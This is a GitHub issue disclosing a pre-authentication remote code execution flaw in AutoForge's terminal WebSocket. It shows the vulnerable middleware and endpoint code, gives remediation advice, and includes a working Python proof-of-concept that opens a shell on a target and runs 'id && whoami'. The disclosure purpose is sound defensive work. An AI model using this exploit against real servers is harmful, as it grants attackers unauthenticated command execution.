Skip to content

Security: Pre-Auth RCE via Terminal WebSocket Authentication Bypass (CWE-306) #235

@q1uf3ng

Description

@q1uf3ng

Summary

AutoForge has a Pre-Auth Remote Code Execution vulnerability. The terminal WebSocket endpoint /api/terminal/ws/{project_name}/{terminal_id} bypasses the localhost-only HTTP middleware because Starlette's BaseHTTPMiddleware only intercepts scope["type"] == "http", automatically skipping WebSocket connections (scope["type"] == "websocket").

When ALLOW_REMOTE is enabled (via --host 0.0.0.0), the localhost middleware is not registered at all and CORS allows all origins (allow_origins=["*"]), resulting in a fully unauthenticated, network-accessible interactive shell.

Severity: CVSS 9.8 (Critical)
CWE-306: Missing Authentication for Critical Function

Vulnerability Details

Root Cause: BaseHTTPMiddleware Does Not Intercept WebSocket

In server/main.py (lines 145-155), the localhost restriction uses @app.middleware("http"):

if not ALLOW_REMOTE:
    @app.middleware("http")
    async def require_localhost(request: Request, call_next):
        client_host = request.client.host if request.client else None
        if client_host not in ("127.0.0.1", "::1", "localhost", None):
            raise HTTPException(status_code=403, detail="Localhost access only")
        return await call_next(request)

Starlette's BaseHTTPMiddleware.__call__() begins with:

if scope["type"] != "http":
    await self.app(scope, receive, send)
    return

WebSocket connections have scope["type"] == "websocket", so they bypass this middleware entirely.

Unprotected Terminal Endpoint

In server/routers/terminal.py (line 206), the WebSocket endpoint has zero authentication:

@router.websocket("/ws/{project_name}/{terminal_id}")
async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_id: str):
    await websocket.accept()  # No authentication check

PTY Shell Execution

In server/services/terminal_manager.py (lines 238-276):

child_pid, fd = pty.fork()
if child_pid == 0:
    os.execvp(shell, [shell])  # Spawns bash as server user

ALLOW_REMOTE Mode

When running with --host 0.0.0.0:

  • The require_localhost middleware is not registered at all
  • CORS allows all origins: allow_origins=["*"]

Proof of Concept

import websocket, json, time, base64

ws = websocket.WebSocket()
ws.connect('ws://TARGET:8888/api/terminal/ws/default/exploit-001')
# No auth required - connection accepted immediately

ws.send(json.dumps({"type": "resize", "cols": 80, "rows": 24}))
time.sleep(2)

try:
    while True:
        ws.settimeout(1)
        ws.recv()
except: pass

cmd = base64.b64encode(b"id && whoami\n").decode()
ws.send(json.dumps({"type": "input", "data": cmd}))
time.sleep(2)

try:
    while True:
        ws.settimeout(1)
        data = ws.recv()
        msg = json.loads(data)
        if msg.get("type") == "output":
            print(base64.b64decode(msg["data"]).decode(), end="")
except: pass
ws.close()
# Output: uid=0(root) gid=0(root) groups=0(root)

CSRF Attack (Even Localhost Mode)

Even when bound to localhost, a malicious webpage can exploit the WebSocket because:

  • CORSMiddleware also skips WebSocket connections
  • The server does not validate the Origin header on WebSocket handshake

Suggested Remediation

  1. Add WebSocket-level authentication (token in query string or first message)
  2. Use a raw ASGI middleware that handles both http and websocket scope types
  3. Validate the Origin header on WebSocket handshake to prevent CSRF

Impact

An unauthenticated attacker can obtain a full interactive shell on the server via a single WebSocket connection. No user interaction or authentication token is required.


Note: I attempted to report this via GitHub's Private Vulnerability Reporting, but it is not enabled for this repository. Please consider enabling it for future reports.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions